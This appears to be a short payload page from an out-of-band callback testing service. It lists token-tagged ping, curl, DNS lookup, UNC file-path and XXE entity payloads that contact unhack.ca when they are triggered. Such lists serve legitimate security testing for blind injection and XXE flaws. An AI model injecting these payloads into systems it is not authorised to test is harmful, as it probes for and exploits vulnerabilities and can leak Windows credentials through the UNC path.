$ ping -c1 -p 00d9d2d974c758d3c37d1ce1e2a1a900 unhack.ca
 

$ curl http://unhack.ca/p/d9d2d974c758d3c37d1ce1e2a1a9
 

$ dig d9d2d974c758d3c37d1ce1e2a1a9 @unhack.ca
 

$ dig d9d2d974c758d3c37d1ce1e2a1a9.ns.unhack.ca
 

C:\> nslookup d9d2d974c758d3c37d1ce1e2a1a9 unhack.ca
 

C:\> type \\unhack.ca\d9d2d974c758d3c37d1ce1e2a1a9\f.txt
 

<?xml version="1.0" encoding="ISO-8859-1"?>
    <!DOCTYPE foo [<!ELEMENT foo ANY>
    <!ENTITY xxe SYSTEM "http://unhack.ca/p/d9d2d974c758d3c37d1ce1e2a1a9">]>
    <foo>&xxe;</foo>